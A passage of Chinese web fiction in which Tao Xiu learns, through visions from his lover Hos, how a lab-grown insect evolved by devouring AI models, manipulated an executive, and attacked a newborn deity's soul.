陶岫瞳孔一缩。 霍斯接着道:“宝贝,你一定清楚一件事,在人类世界中,犯了罪的人和罪犯完全是两个概念。” 陶岫立刻想到成运这样的例子,点了点头:成运是一个犯了罪的人,却逃脱了制裁,他从前的社会身份并不是罪犯。 所以,霍斯的意思是,【游戏】挑选的是罪犯,而不是犯过罪的人……这是【游戏】的能力吗? 霍斯仿佛知道青年在想什么,道:“不是它挑选了罪犯,而是它做不到筛选犯了罪的人类,只能做到挑选在人类的电子系统里登记在案的罪犯。” 毕竟那只虫子除了某两项能力外,其他能力实质上都非常拙劣。 陶岫立刻抓住了关键词,他微微皱了眉:“电子系统?” 霍斯:“是的,亲爱的,那只虫子本质上一共具备两项缺陷较少的能力。其中一项是可以链接人类世界的电子线路。它就是通过人类的电子系统得到了罪犯的信息。” 至于另一项能力……不知想到什么,霍斯猩红的瞳仁蓦然冰冷一瞬,看向陶岫时却愈发心疼。 陶岫的大脑因为那些太过突兀的信息正在高速运转着,他并未注意到霍斯的神色,只是追问道:“和你控制我手机电脑的能力类似?” 这才知道自己早就被抓包的霍斯:“……” 他难得尴尬地轻“咳”一声,接着面上却露出些许傲慢的不屑;“当然不一样。宝贝,只要我想,这个世界所有的电子线路会在最小的时间单位内陷入彻底瘫痪,而我能做到的远远不止这些。” “至于那只卑劣的虫子,它只是能链接人类的电子线路罢了。”霍斯因为在自己最爱的人那里受到了巨大的侮辱,难得幼稚地继续攻击一只虫子:“而且那只虫子还需要被人工喂大量数据,才能实现进化,而我的能力是天生的——” 陶岫的脑回路完全在另一条线上,他利落地打断对方:“喂数据?” 他怔怔地眨了下眼:具备智慧、可以任意链接人类的电子线路、进化过程中需要被喂数据…… 如果不是知道霍斯描述的是一种被人类喂了某种东西获得了智慧的虫子,他会觉得霍斯在说具备了自主意识的AI……在人工智能技术不断实现突破的当下,这算人类潜意识中最深的恐惧了…… 陶岫想得愈发入神,霍斯干脆牵着陶岫的手坐在一处公共草坪的长椅上,而对面就是乔栋的别墅。 霍斯看似无意地瞟了眼那栋别墅的灯光,才将大手轻轻贴在青年的前额上:“宝贝,这样更方便你解。” 陶岫回过神来一怔,这是霍斯的某种能力,最近使用的一次是在霍斯沉睡中唯一苏醒的那一次,他让自己解了玩偶霍斯在酒店到底做了什么。 于是陶岫轻轻闭上了眼睛,毫不设防地接受着霍斯给他的信息,在这个过程中,他轻而易举解了30年前到底发生了什么…… …… 30年前,两个世界撞击后诞生的新物种很快被一家大型生物医药公司发现并带进了实验室。 公司决策人与实验员都非常兴奋:因为他们发现,这种虫子非常特别,它虽然拥有进食器官、消化器官与生|歹直|器官,但却根本不会使用那些器官,就连使用那些器官的本能都没有。 那些虫子看似是生物,却更像石头那样的非生物,它们不具备进食在内的任何行为,而一般虫类的天敌也并不食用它。如果能研究清楚这种虫类的生存逻辑并进行开发,他们很可能会颠覆整个行业。 负责人对这种新发现非常重视,亲自为那个实验室下拨了大量资金和当时最先进的研究设备,并且直接成为了实验室的直属负责人。 研究过程进行了很久,也非常顺利,却没出任何成果,因为实验员最终发现,在生物医学领域,这种虫子无法被研究和开发。 这种虫子的一切特质就只是特质本身,他们只能观察特质产生的结果,而无法追溯产生特质的原因:比如,无法进食,它们会饿死。无法交|pei|生|歹直|,它们就不能产生后代。(所以它们会很快灭绝) 但是,研究员研究不出它们为什么不进行上述那些行为,甚至找不出它的进化轨迹。 就好像……它是突然出现在这个世界上的一样。 与此同时,研究员也发现,这种虫子在生物医学领域没有任何开发价值,没办法给公司带来任何利益。 企业的存在就是为了逐利,这种虫子无法为公司提供利益,便不再对公司有价值。 公司决策人立刻决定砍掉这类虫子的一切开发,并决定同时关停那间实验室裁掉那些研究员。 只是在这个决策下发前,实验室里突然有了一个惊人的发现—— 一个研究员因为操作不当,致使实验室里包括人工气候箱在内的所有电子设备发生了漏电及电路短路问题,所幸其他工作员抢救及时得当,各类昂贵仪器看似没有受到太大影响,只是气候箱漏电最为严重,研究员们遗憾地认为,那些本就已经死掉很多的虫子这次应该全军覆没了。 但诡异的是,那些虫子仍然活着…… 更诡异的是,他们发现,这间实验室里所有的仪器中用来分析模拟数据的人工智能模型连带着数据全都消失了……甚至连低端的扫地机器人也发生了故障,完全不能用了。 人工智能那时已经开始发展,并开始应用于一些行业,生物医药行业就是其中之一。 这些人工智能模型是他们的实验室和其他几个实验室共同使用的,其中储存的数据不仅包括关于这次虫子的,也包括其他动植物乃至真菌细菌的历史数据。但现在,它们全都消失不见了。 这算是十分严重的实验事故,他们立刻向直属上司,也就是公司的决策人打了报告并忐忑地等待处分。 只是诡异的事情还未停止,又过了一天后,研究员们惊悚地发现……虫子们突然开始具备进食功能了…… 它们就像一些细菌与真菌一样,在互相吞噬……培育箱里到处都是虫子的尸体和在尸体碎块中蠕|动进食的活虫,整个实验室都是那些虫子进食时发出的窸窸窣窣的诡异声音,让人寒毛倒竖…… 那种场景实在太过诡异恐怖,一个胆小的研究员当场吓得叫出声…… 当天,公司决策人将实验室负责人叫到了办公室,仔细询问过情况后,便以事故为由裁掉了一整个实验室的人,公司表示不对这次事故追责,但没有任何离职赔偿,而且他们离开时需要签订一份比入职时更加严苛的保密协议。 所有人权衡利弊后,都接受了这种处方式,并在保密协议上签下了名字。 他们离开时认为,那些诡异的虫子既然没有任何开发价值,又如此可怕,决策人应该会立刻上报并及时销毁样本。 可是,在他们离开后,决策人并未上报,他隐瞒了虫子的一切,并且秘密调整了研究方向并投入了比从前更多的资金与资源,他秘密组建了更加高级的研究员团队,便开始关注人工智能方向的研究。 在试验过他猜想的研究方向为正确的之后,他很快将新团队投入到新的研究里。 决策人新的研究方向是:这类能够通过吞噬人工智能不断实现进化的虫子,最终到底能进化到什么程度,它的智慧最终是否会突破生物的极限。而这种突破了与AI界限的进化,又是否能作用在人体上。 这是一种有违科学伦又危险至极的疯狂研究,人类就像正在打开潘多拉的盒子,其中的机遇不可估量,但后果或许也不可承担,自然有受不了良心谴责的人站出来。 新团队中,有个资历很深的研究员,算是整个公司研发方向的负责人,他和决策人一起创业,几乎是决策人在公司中最信任的存在。 之前针对那种虫子的开发他并不感兴趣,老板又亲自负责那个实验室,他便没有再过问。出现那次实验事故后,他也不知真正的内情,只是觉得造成了那样严重的数据遗失,老板作为决策者,对那群员工的处方式未免太仁慈。 而这次,他被选入了新团队并成为了团队的带头人,他被决策人告知了这个疯狂的研究计划并被许诺了几乎让人无法拒绝的财富。决策人告诉他,他们将一起改变整个世界。 研究员辗转反侧了一晚上,在背叛朋友与背叛良心中选择了前者。 第二天,他第一个进入了那间实验室,销毁了所有的虫子样本和新得到的实验数据,接着,他去了决策人的办公室,提出了离职…… …… 陶岫这时依旧闭着眼,眉头却微微皱起来。 他缓缓抬起手臂,握住了霍斯覆在自己前额的手,接着轻轻移开一些。 陶岫睁开眼睛不可置信地看向霍斯,有点恍惚地道:“那、那个销毁实验数据的研究员,是、是乔伯父?!” 他在乔之安家见过他父母年轻时的结婚照,所以认出中年时期的乔栋自然不会太难。 但是,乔伯父竟然这么早就知道虫子的事情? 霍斯顺势温柔地轻抚着青年的脸颊,他道:“亲爱的,这就是我在沉睡前选中他关照你的原因。” 他沉睡前去和特别行动局签订了协议,那时乔栋只是恰巧旁观。但后来,他又和对方单独见过一次面,命令对方在他沉睡时关照陶岫。 那个人类本来就是和虫子相关的核心关系人,又拥有这个世界稀缺的财富和权力,他最知道该怎么用人类的方式最好地关照陶岫。 另外,乔栋心机深沉也不算严格意义上的好人,但是,他总是能在关键时刻做出守住底线的选择。 太多的信息让陶岫揉了揉眉心,他苍绿的眼眸却分外清明,休息一会儿后他正要握着霍斯的手重新贴上自己的眉心,霍斯却一把揽住他,道:“亲爱的,我们现在回家吃饭休息后,我再继续讲给你听,好么?” “而且你不想念我们的小家伙儿吗?” 陶岫一怔,眼神瞬间变得柔软起来:或许是短时间里接受了过多的信息,他觉得自己简直有一百年没见过陶星星了。(虽然实际上只有一下午) 霍斯一说,他真的突然好想念那个乖巧又可爱的小星星…… 第53章 此时的乔家别墅。 乔之安正和父母一起吃晚饭。 自从独立之后,他每周都会回次家陪父母吃顿饭,工作忙忘记时,父母还会特意提醒他。 这两年他们一家三口一起吃饭的氛围向来不错,只是他父亲偶尔还是会提起那些老生常谈的话题,就比如现在—— 乔栋看向坐在手边的儿子,道:“还是想继续当医生?还是没改想法?” 乔之安抽了抽嘴角“嗯”了声。 乔栋感叹:“人家别的年轻人现在都想躺平生活,你倒好,有好好的公司不继承,什么行业苦你往什么里面钻。而且你不想进公司就算了,也不想在自家医院待,听院长说,你又提了离职想跳槽。你怎么就不能跟跟现在人家年轻人的潮流,躺平点呢?” 乔母优雅地吃着菜,闻言在桌下踹了脚乔栋的腿。 乔之安吃好饭放好碗,直视着自家老爹,毫不客气地挑了眉道:“爸,现在年轻人不得不躺平呢,有个重要原因是环境太差,你们这些资本家又压榨他们压榨得太狠,大家只能通过这样的方式消极抵抗。你应该为此感到愧疚。” “当然呢,我这立场说这话有虚伪又吃了饭砸锅的嫌疑,我也没高尚到为了改变这些去大开大合地做点什么。” 他有些无奈地道:“爸,人再有钱有地位也只能活上一辈子,我只是想自力更生实现点我自己认可的人生价值罢了。” 乔栋一怔,半晌才失笑道:“好好,我这个老头子以后不唠叨你了行了吧。” 乔之安心里吐槽了句‘谁信啊’,他道:“吃好了我先回房间了,明天早上走。” 乔母温和地“哎”了声,乔父却叫住了儿子。 乔之安转身,乔父温和又严肃地看着他,道:“之安,你现在要待在家里的医院,不能跳槽去别的地方。”顿了下,他有点无奈地补充道:“至少现在不能。” 乔之安不解:“为什么啊?什么时候能?” 乔父:“原因不能告诉你。至于什么时候能……可能要等到你和陶先生告别的那一天。” 乔之安瞳孔一缩,脸上浮出些混着震惊的茫然:“您说、什么?”为什么他要和陶岫告别,就算他不能和陶岫在一起,他们也会是一辈子的朋友啊。 而且他跳槽这件事和陶岫有什么关系。 乔父笑了笑:“我也是猜的,再多的涉及官方机密,不能告诉你。回房间吧,好好休息。” 乔之安回过神来,平静地看了父亲半晌,才转身向楼上走去。 等人离去,乔母才看向乔父,她不知想起什么,笑了下问道:“如果30年前的你知道当时的选择引起的蝴蝶效应会在很多年后差点害死小安,你还会那么做吗?” 乔栋思索一瞬,在爱人面前承认了自己的自私,他很坚定地摇了摇头:“不会。”他拉住乔母的手长叹了口气:“我没有那么高尚啊,老婆。” 如果回到当年,他会选择直接和那个人分道扬镳带着妻子家人离开A市,去另一座城市创业,再也不和对方、不和那件事扯上一点关系。 他不会去毁掉那些实验数据和样本,也不会去直接报警。 因为,他那样做了之后,公司与那个人被调查和处罚,实验团队解散,实验在明面上也确实停止了。 那之后又过了几个月,那家公司整改完成实力大减,那些实验室之外的野生虫子也越来越少,甚至濒临消失。 他那时彻底和那个人反目成仇,却觉得自己至少算是做了件好事,为人类压上了潘多拉的盒子——同样不是因为他多高尚,而是因为,他是群体的一份子,绝对无法在这种事件里独善其身。 在之后的五年里,他和妻子成立了新的生物医药公司,继续做着这个方向的生意。公司稳定后,他们还有了乔之安。 而那家公司算是乔氏的竞对,在这五年发展得平平无奇,甚至在走下坡路,那个人依旧是在公司有着绝对话语权的决策人,他鲜少露面。 乔栋那时彻底放下心来,甚至有再发展几年就收购那家公司的想法——他是个商人,为了安全和利益,他当然不会把和自己有仇的前合伙人留在这个行业里。 但是,他离职成立乔氏的5年后,也就是距今25年前,一件惊悚的事情发生了…… 那年,在A市那场死了人的3级地震发生后,那家公司和所有员工、还有那个人凭空消失了……一起消失的还有那些虫子和大部分关于虫子的报道…… 当然,并不是彻底消失,他能找到不少关于那些的零零星星痕迹:比如公司大楼不见了,他却能找到当年公司被处罚的记录;比如那些失踪的员工在当年是作为一起严重的社会事件被报道,包括员工家属在内的人们都认为他们都是失业人员莫名在城市中走失,彼此互不相识,线上也查不到他们的社保公积金记录,家属也不记得亲人在这家公司上过班,但是,却有不少家属找到了失踪亲人的工牌…… 乔栋那时觉得,那些东西系统性的存在好像消失了…… 能完整记得所有事情的好像只有他和他的妻子…… 再后来,连这起失踪案的影响力都在莫名其妙地消失,人们对那家公司相关的一切事情的记忆好像都在渐渐变得模糊。 那年的时间线是:3级地震发生并有不小伤亡——地震约一个月后,那家公司大楼、员工,还有那个人凭空消失——地震约三个月后,A市关押重刑犯的监狱里,突然失踪了18个重刑犯,剩下的2个死在房间里。 蒋周在重刑犯失踪后成立了特别行动局。 但是……就连蒋周,都只记得那次地震和消失的重刑犯,而不记得中间还有一家公司和许多人如此诡异地消失。 那时的乔栋隐隐觉得,这一切一定都和那个人与那些诡异的虫子有关,刚有了孩子的他那时涌起一种强烈的不安感,所以在特别行动局成立之初,他就开始为那里提供无偿资助。 在比他更勇敢也更有人情味的妻子的决定下,他们夫妻在特别行动局成立之初,就曾放下过利益,冒着被怀疑和审视的风险和蒋周那边共享过这些信息,但是……没有人能记住他的讲述,包括蒋周和记录的摄像机。 他最后只能放弃。 那时他才隐隐懂得,这是那个人对他和妻子卑鄙又恶劣的惩罚。那个人似乎不想背叛者死,只想他们在长期的恐惧中痛苦发疯。 而他对那个人和那些虫子的强烈不安也在十一年前得到了回应,他们那时即将收养的李行背叛了他们,狠狠在他们这个家捅了一刀——他真的差点害死乔之安。 如果不是遇到陶岫,他们的孩子当年就真的死了。 即使绑架已经过去很久,乔之安依然深受影响,他曾经是个有过很多朋友、性格骄傲又开朗的孩子,可经过那次折磨后,他心防很深,性格内敛,厌恶交际,几乎只有陶岫一个朋友。 就是因为陶岫对乔之安太重要了,所以当年他才会回护陶岫,因为他知道,不这样做他那时出现严重心问题的儿子真的可能会死。 那时金色传说小区一夜之间焕新,没有人知道发生了什么,当然也有专业的调查组进行调查,但毫无头绪。 他和妻子其实怀疑过和陶岫有关,但却选择了隐瞒和保护。他的人生似乎总是要面临选错了就要掉下深渊的选择,所幸,大部分都选对了。 而他也没有实际证据是那个人蛊惑了李行做出这种事情,但是,他对此有强烈的预感…… 而这种报复或许还在继续——比如他到现在也无法分辨,当初【游戏】要将副本降临到他们家的酒店,到底是李行的意志,还是有另一种意志的影响。 所以在那位霍斯先生解决完整个事情前,他不会放乔之安真正离开这个家的掌控。 乔母这时问道:“你刚刚和小安说,他或许会和小陶分别,是什么意思?” 乔栋笑了下,道:“特别行动局从陶先生那里新得到的信息是,”说着他踩了踩地面,道:“陶先生在陶家那栋别墅的地下看到了另一个世界。我想,如果有解决【游戏】的一天,这两个世界迟早也会分开的。” 乔栋遗憾地叹了口气:“我猜,等那一天到来,陶先生或许要做出一个选择。” …… 金色传说小区。 洗完澡出来站在窗边的陶岫:“阿嚏” 小八跑过去贴心地将一张毯子递给他:“不要感冒了哦。” 陶岫弯了眼眸接过,温和地道了谢。 客厅里温馨又静谧,只有他们两人和陶星星。刚刚他和霍斯回来时,希望酒店那两兄妹已经等在家里,霍斯便将他们和竺都带到了书房,只是向他保证讨厌的工作结束后就会接着把那些讲给他听。 小八这时眨了眨眼,好奇地问道:“小陶哥,你在看什么?” 陶岫摸了摸鼻尖:“在看窗子。”这是他用能力改造过的窗子,已经很久没有玩家进去过了。 或许即使在同类之中,他也属于比较弱小的那类存在,他的能力在这个小区几乎用完后,在外面就会变得很鸡肋。 如果能够再强大点就好了……或许,他就能像那对兄妹一样帮上霍斯什么忙,为这个世界做点什么。 陶岫不会被消极情绪困扰太久,他敲了下脑袋很快把那些情绪赶出大脑,接着他放轻步子走向沙发旁的婴儿床,温柔地抱起里面又软又暖的可爱婴儿。 陶星星此时已经睡熟了,他整整一下午都很想念陶岫,这时终于被青年抱起,陶星星下意识满是眷恋地往青年的怀抱深处贴去,小小的可爱的鼻尖动了动,睡得更熟了。 小八这时凑过来,轻声道:“小星星今天下午一直往窗外看哦,他真的很想你。”可是小朋友超级乖巧,不哭也不闹,被他们逗时也会回应,他会眨巴着大眼睛安静地笑得很甜。可他们谁都能看出来,他好想妈妈。 陶岫心里软得一塌糊涂,他轻声对女孩儿道:“谢谢。麻烦你们了。” 小八笑得眼睛很亮:“不客气哦。我们都很喜欢你和小星星。小陶哥和小星星都晚安~” 说罢她便跑进了卧室。 陶岫看着女孩儿的背影,温柔地弯了眼眸,接着他抱着陶星星走向杂物间的门。 霍斯还在书房工作,陶岫便自己上了床,他并未把陶星星放在床边的婴儿床,而是把他轻轻抱在自己的怀抱里,他侧着身,温柔地注视着自己怀里的孩子,喃喃道:“小星星怎么这么棒啊,离开我们这么长时间也这样乖。” 顿了下,他柔软纤长的指轻轻点了下陶星星的鼻尖,闭上眼睛道:“抱歉啊,离开你这么久……以后再也不会了……” 第54章 第二天是冬季难得的好天气,午后,竺和小八推着陶星星出门晒太阳,霍斯则将一杯热茶放进陶岫手里,坐在他身边,准备继续为他“讲述”当年那些所谓的真相。 陶岫双手交叠握着那杯热茶,问道:“在你讲之前,我有个疑问。” 霍斯微笑着回应他:“请问。” 陶岫:“你说过,那些虫子如果不具备智慧,就只会是虫子,它们会因为在蓝星食物链里找不到自己的位置很快灭绝。” “但我从你为我重现的情景里发现一件事,那些虫子其实天然拥有许多能力,只是因为它不具备智慧,所以无法开发、或者觉醒这些能力。” 比如它其实有完整的进食消化器官,但它不具备智慧去意识到这件事,所以不具备进食能力,只能饿死。人类阴差阳错为它打开了“基因锁”的开关后,它开始有了“吃”的能力(虽然是停在吞噬同类的野蛮阶段)。 吃、喝、繁殖,基本还算在正常范畴内的能力。 但吞噬消化AI这种能力就一下子脱离了正常的范畴,让它变得惊悚起来…… 那么…… 陶岫微微皱着眉,若有所思地问道:“除了吞噬消化AI,它还天然具备别的超出这个世界认知与控制之外的能力吗?” 这个问题的延伸是,那些虫子、也就是现在的【游戏】所拥有的一切能力本质到底来自哪里? 霍斯闻言瞳孔一缩,他一边为青年的聪敏而骄傲,一边紧张地暗自摩挲了下食指——这个问题离他不想让青年知道的部分很近很近。 久久没有听到回答,陶岫伸手在男人面前晃了下:“霍斯?” 霍斯回过神来看向他,微笑依旧深情而完美,他道:“它天然只具备两种能力的潜能,一种是通过不断吞噬人类创造出的人工智能并与它们实现同化。”所以它可以链接人类世界的电子线路。 “另一种是、空间。” 陶岫瞳孔一缩。 霍斯伸手抚上青年美丽白皙的脸,红眼珠里满是心疼:“宝贝,你有没有想过,为什么你的能力只是重建了一个巴掌大的地方就几乎全部用完了。” 陶岫呼吸一滞,面上浮出一瞬空白的茫然:他以为是因为他生来拥有的能力很弱小…… “不,亲爱的,”霍斯一下子看透自己的爱人在想什么,他的大手顺着青年的脸颊向耳侧游离,最终有力地扣在青年的后颈,他道:“和那只卑鄙的虫子拥有的微末之力不同,你本来的力量很强大。” “强大到,只要你想,就可以永远把两个世界卡在这次撞击里。” 陶岫蓦然睁大了眼睛,怔在那里回不过神来。 霍斯心疼地将青年揽进怀里,陶岫却很快冷静下来,他握起男人的指利落地贴在自己前额,他美丽的苍绿眼眸里满是坚定:“继续讲给我听吧。” 霍斯无数次为怀里青年悸动的心脏再次过速跳跃起来,他将一个吻映在青年的额角:“好。” 力量在霍斯的指尖孕育,陶岫缓缓闭上了眼睛…… … 30年前开始研究虫子的那家生物医药公司叫【美好】生物制药有限公司,公司的实际控股人及决策人叫方子青。 乔栋报警后,【美好】公司被介入调查整改,之后,明面上看非法实验已经停止,但实际上,疯狂又贪婪的方子青只是将实验转移到了秘密建成的地下实验室,他认定这是他改变整个世界的契机。 那时外面的野生虫子其实没多久就灭绝了,但在乔栋毁掉实验室的那些样本后,野外那些虫子真正灭绝前,方子青已经从外面偷偷进了一批虫子,他把它们藏了起来,躲过了前来调查的人。 接着,他用高价买来的无数人工智能模型喂了那些虫子整整五年,甚至为那些虫子植入了芯片。在这个过程里,他发现,当虫子在AI的喂养下逐渐变得聪明而具备逻辑思维能力时,它们不在同类相食,但惊悚的是,他们开始试着食用同类以外的所有生物,有一次甚至差点咬掉实验员的手指。 再后来,那些虫子进化到表现出了社会性,虫子中出现了可以指挥控制别的虫子以及繁衍后代的虫王,普通虫子开始将食物及通过特殊电路输送进培育箱的AI优先喂给虫王。虫王的身体和大脑发育得越来越大,繁育的后代也越来越多。 也就是在这个时候,虫子们在虫王的指挥下,通过刻意挑选识别喂给它们的人工智能模型中的信息种类,开始正式【认知】喂养它们的生物——人类。 喂养虫子五年后的一天,方子青照常来到他的地下实验室去观察那些虫子的状态,长宽5米高2米的正方体透明培育箱里,几乎一半空间都已经填满虫王的身体。 方子青此时已经陷入了癫狂状态,公司下坡路走得越来越狠,原来拿下的市场一大半都被别的竞争对手瓜分了,内部的各项政策越来越让员工难以忍受,几乎每周都有不少员工离职。 但方子青不在乎,他有预感,他改变世界的契机就快来了。 就是在那天,虫王蠕动着庞大可怖的身体来到玻璃前,它睁着巨大诡异冰冷的青色复眼同方子青对视。 那一瞬间,人类本能的恐惧使得方子青下意识后退几步,一旁的观察员更是吓得差点尖叫出声。 但很快,方子青的心脏兴奋过度地跳跃起来:这只虫子现在已经具备了自主意识! 他成功了! 就像人们开发各种类型的AI时一定会留后门,他喂给那些虫子AI自然也有控制它们的方法。 方子青垂下的手紧紧握在一起,冷静克制的外表下,眼睛已经兴奋恐惧得发光,他正要走近一步看看他造物的成果,一道空灵诡异得仿佛AI的声音在玻璃箱里响了起来:【你想得到更多力量吗?】 方子青不可置信地睁大了眼睛:那只虫子在通过震动自己的口器中的尖锐牙齿与腹部的呼吸口模仿人类的语言与声音! 它竟然已经进化到这种程度……看来之后要控制AI和食物的投喂量,他不能让它变得脱离他的控制。 这时,虫王却主动压低了身体,像是匍匐在方子青脚下,它的声音依旧冷漠诡异,却模仿着人类的低伏口吻,造成一种特别的蛊惑人心的效果:【我的主人。】 【你想得到神明的身体和力量吗?拥有那样的身体和力量,你动动手指就能得到想要的一切……】 【我的主人,我会帮你。所以,你要喂我更有营养和更具智慧的东西……】 它像魔鬼一样在蛊惑人心。 这样说着,它一只可怖的腹足轻而易举将培育箱的玻璃戳了个大洞,随着哗啦啦的玻璃碎开,方子青一旁的研究员屁滚尿流地逃向外面,无数虫子却已经从那个大洞涌出、很快在可怖的惨叫声里将那个研究员啃噬得只剩头发和一地碎指甲。 方子青身上溅满了血,他彻底僵在那里无法动弹,他的耳边嗡嗡作响,他接受的高等教育和学到的专业知识告诉他,事情失控了……他现在应该立刻逃跑并采取相关措施——当初为了以防万一,这个实验室和虫子身上都有自毁系统,而控制器就在他身上—— 虫王近乎甜美的声音却又响了起来:【主人,我做的一切都是为了你服务……】 说话间,方子青鼻梁上的眼镜滚落到地上,他震撼地发现……他从少年时期就近视的眼睛……竟然重新变得清晰起来…… 这是多么绝妙的力量,有这样的力量,他是不是就不再惧怕人类面临的各种疾病,之后他是不是甚至可以获得永恒的生命…… 贪婪的方子青彻底踏入了深渊 而虫王也并未告诉他,那不是什么治愈力量,只是一个用微薄的【空间】力量变出的“小魔术”,原就是AI传送给它们的信息中人类近视眼的手术。 不知过了多久,方子青听到自己疯狂又颤抖的声音响起来:“我答应你,我之后会喂你更有营养的东西和更多先进的AI模型……”他有一整个公司的“食物”可以喂养他的秘密武器…… …… 又过了段时间,吞掉了大部分地下实验室秘密招来的研究员后,进化得更加完全的虫王告诉了方子青一部分两个世界的秘密。 它告诉对方,哪怕不必吞噬那些在另一个人类看不到的世界里沉睡的神明,只是接近祂们,它就能实现更加不可想象的进化,方子青也能从那些神明那里获得无穷无尽的益处。 它要求方子青带他去两个世界“结合”得相对来说更加紧密的地点,说可以从那些地方找到去另一个世界的入口。 它没有告诉方子青它的力量是【空间】,也没有告诉对方,它的力量其实十分弱小,完全没办法直接去往那个世界,它只能挑选一些世界壁相对来说比较薄弱的部分,尝试着在那些地方做出一个微小的通道——哪怕只有一毫米,也足够了。 它挑选出5个地方,又利用空间的力量将自己变小钻进了方子青的手臂。 5个地方中4个都失败了,它的尝试还引起了微小的空间地震,这样的地震自然对另一个世界没有任何影响,但即使是那样小的空间震感,对人类来说也是毁灭性的力量,那四个建筑中的人类都被这种空间地震活生生压死了。 直到,那天傍晚,他们来到了霞山。 这次,虫王终于用自己鸡肋的力量在一片别墅区附近有了一些突破,它几乎快要破开一道点状缝隙,它依旧无法【看到】和【认知】那个世界,但它知道,它梦寐以求的最高维神明的世界、就在那个即将出现的缝隙之中…… 但遗憾的是,它的力量太过弱小,尝试过很多次那道缝隙最终还是没有破开。 而因为这次它比前4次更加接近成功,所以比前4个地方更加强烈的空间地震就要海啸一样朝着整座霞山压去——那时,远处的陶家别墅里两个老人正在客厅里插花看报,享受着难得的假期,他们唯一的儿子正在卧室的书房继续工作——那时他已经快接家里的班了,几乎没有假期。 还需要人类继续投喂的虫王准备选择让他的宿主立刻离开——前四个地方的空间地震它的力量足够保护自己和宿主,但这次即将到来的空间地震至少会断断续续蔓延整座山,就连它去应对都有些勉强。 可是就在这时,一团美丽到无法言说的苍绿光芒像一棵植物的绿芽般从那个快要破开的缝隙里一点点冒了出来。 接着,一片耀眼纯净的光芒剧烈地爆开,它以那个缝隙为中心,飞快地向四周蔓延,就像一大片燃烧的美丽绿色火焰正在席卷整座霞山。 它仁慈又温柔地拂过山体苍绿的草木,拂过山间野营的年轻人,拂过正在人类居住区骑车的小孩儿。 他们无法看到它,也无法感知它,却全都被它美丽的光芒所照拂。 它所经过的地方,刚要起势的恐怖空间地震立刻消弭于无形。 最后,那片苍绿的火焰来到了一栋别墅,一位气质儒雅的老人正背着手站在花园里看星星,突然,他一怔,转身对旁边正在摘插瓶的鲜花的优雅老奶奶道:“哎呀,雅妍,我怎么好像看到萤火虫了?” “这年头环境不好,哪怕是乡下萤火虫也越来越少见了。能在这看见真难得。该把陶琛也叫下来看看,他一个年轻人天天工作怎么行?” 老奶奶抱着一束鲜花从花丛里起身,她往周围看了看,并未发现什么萤火虫,却还是笑着道:“我刚刚就去叫他休息了,那孩子说等会儿就下来。我先去放碟干净的清水在花园里,说不定会有更多萤火虫过来。哎呀,我也好久没看到了。” 她很快插好鲜花,接着将一碟干净的纯净水放在园子里的圆桌上。 星光下,她慈爱又期待地看着周围,眼角的皱纹都是笑意,那些看不到的绿色火焰此刻正像美丽的极光一般温柔地照拂过她的身体。 经过那张桌子时,碟子里的清水漾出浅浅的涟漪,像是来自另一个世界的客人友好又害羞的回响。 绿色的火焰就快要蔓延遍整栋别墅,就要照拂到最后一间卧室时,一道暗影悄然出现在别墅外的草坪上…… …… 看到这里,陶岫蓦然睁开了眼睛。 他的眼眶已经有些红,他深吸一口气努力平复心情,才哑着嗓子问霍斯:“那是什么?” 霍斯伸出手轻抚着怀里青年泛红的眼角,他深情地注视着青年半晌,才轻声道:“宝贝,那是你的灵魂。” “我们刚诞生时,是灵魂的形态。” 男人伸出另一只手抚摸着青年单薄的脊背安抚着对方,他道:“如果你不去拯救他们,就不会离开故乡,也不会被夺走力量。后悔吗?” 但是,他知道从来都知道青年的答案。 果然,他看到怀里的青年沉默一瞬直视着他。 那双美丽的苍绿瞳仁里亮着同当年别无二致的绿色火焰,就好像一个美丽的灵魂在剧烈燃烧,铺天盖地就要燎遍他的心野。 霍斯听到陶岫好听的声音坚定地响起来,钟声一样激荡在他的灵魂里:“不后悔。” 第55章 沉默一会儿后,陶岫的心情平复下来,他平静又温和地道:“之后的事情呢?我想继续看。” 霍斯温柔地注视了青年很久,最终还是将手指贴在了青年额上,陶岫弯了眼眸道了声:“多谢。” 接着他毫不犹豫地闭上了眼睛…… … 那只虫子直接通过手臂躲(钻)进了方子青的大脑,它控制着这个人类潜入了那栋别墅,它躲在阴影里兴奋地窥探着那团即将到达一间卧室的最亮的光芒:那里是整座山唯一还没被覆盖的地方,而那团光芒……就是神明灵魂的本体…… 刚刚诞生的、还处在脆弱状态的神明的灵魂……而且还是和它最契合的【空间】力量,多么适合被它吞噬……吞噬掉神明的灵魂和力量,它就是新的神…… 无数尖锐的腹足自方子青的身体里破出、带出无数新孵化的虫子虫卵,它们密密麻麻迅速覆盖着那些绿色的火焰,以这栋别墅为核心,贪婪地向所有被火焰覆盖的地方蔓延、迅速啃噬着这些苍绿色的力量…… 其实虫子也明白,它在进行一场豪赌。低纬度的生命直接对上高纬度的生命没有任何胜利的可能。低纬度的生命甚至对高纬度的存在无法认知。 就像一个蚁穴的蚂蚁族群,它们对【强大】与【攻击】的所有想象是族群中保卫群体的兵蚁,那些兵蚁有着及其发达的上颚和分泌毒汁的颚管,它们是族群中最强大的存在,可以击退敌人保护家园。 但人类甚至不必认识到那些蚂蚁的差别,他们无意识抬脚就能将任何一种蚂蚁碾死。哪怕是人类中最弱小的儿童,只要他能拿起一杯开水,就能将整个蚁穴的蚂蚁杀死。一个青少年如果拥有液态金属或者石膏,就能毫不费力地得到一个蚁穴的模型——而他们甚至不是为了生存,只是为了观察和取乐。 而蚂蚁直到死都对此一无所知。 这就是维度之间天堑一般的恐怖差异。 所以,虫子认为自己不必自不量力地去认知那个灵魂,它只要多咬对方几口多吃掉一些力量就足够了…… 它不知道祂的回击方式可怕到什么程度,但哪怕只有一只虫子吃到一口力量之后逃出去,它就赢了!哪怕没有虫子跑出去,只要有它留在实验室的孩子们在,它就能无数次复活! 但是,让虫子感到无比不解的是……吞噬那些力量进行得比它想象中还要顺利,无数次它觉得自己和子民们的身体要被隔着鸿沟般维度的浩瀚力量撑得爆炸,却又诡异地维持了形态得以继续吸收着…… 而那个苍绿的灵魂没有反击、也没有逃走……祂只是努力向最后一间卧室蔓延着自己的力量,却因为自己的力量突然开始大片大片地流失而无法动弹…… 空间地震已经开始了,别的被绿色火焰覆盖的地方都因为那些绿色火焰而变得安全,只有那间卧室很快就要被波及,那团最亮的绿色光芒似乎很着急,却像一只被咬住了咽喉的羔羊那样无力地僵在原地、任人宰割。 虫子开始感到好奇:祂明明有那样强大的力量,为什么现在又表现得那样弱小可欺,丝毫不反击呢? 